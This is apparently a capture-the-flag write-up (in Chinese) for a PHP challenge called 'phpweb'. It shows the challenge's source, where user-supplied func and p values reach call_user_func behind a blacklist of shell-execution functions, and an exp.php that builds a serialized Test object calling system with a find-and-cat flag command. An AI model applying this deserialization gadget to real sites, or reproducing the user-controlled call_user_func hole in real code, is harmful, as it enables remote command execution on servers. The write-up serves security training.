考点

PHP反序列化

思路

抓包发现可以php代码执行

方法一：file_get_contents读取源码

方法二：命名空间绕过

Payload

方法一

index.php源码

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
   
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
   
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
   
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
   
            return $result;
        } else {
   return "";}
    }
    class Test {
   
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
   
            if ($this->func != "") {
   
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
   
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
   
            echo gettime($func, $p);
        }else {
   
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

其中的class，没有对参数进行验证，可以进行绕过

function gettime($func, $p) {
   
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
   
            return $result;
        } else {
   return "";}
    }


    class Test {
   
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
   
            if ($this->func != "") {
   
                echo gettime($this->func, $this->p);
            }
        }
    }

exp.php

<?php 
function gettime($func, $p) {
   
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
   
        return $result;
    }
}
class Test {
   
    var $p = "cat $(find / -name flag*)";
    var $func = "system";
    function __destruct() {
   
        if ($this->func != "") {
   
            echo gettime($this->func, $this->p);
        }
    }
}

echo (serialize(new Test()));
?>